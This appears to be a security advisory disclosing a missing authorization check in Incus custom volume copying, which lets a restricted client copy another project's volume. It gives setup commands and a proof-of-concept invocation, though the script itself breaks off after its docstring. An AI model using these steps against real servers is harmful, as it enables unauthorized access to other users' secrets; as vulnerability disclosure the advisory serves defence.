### Summary

Missing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.

### Details

The storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed.

The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.

### PoC #### Setup

Assume the target server is remotely accessible and a user/certificate has been added.

``` # create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets storage volume create default secret-vol

# restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default

# verification, with the restricted certificate incus --project secrets storage volume ls remote:default ```

#### Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

``` python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-volume secret-vol --name copy-secret-vol \ --pool default --source-pool default \ --insecure ```

Wait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance.

``` #!/usr/bin/env python3 """Copy a custom storage volume from another project into an allowed project."""

### Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
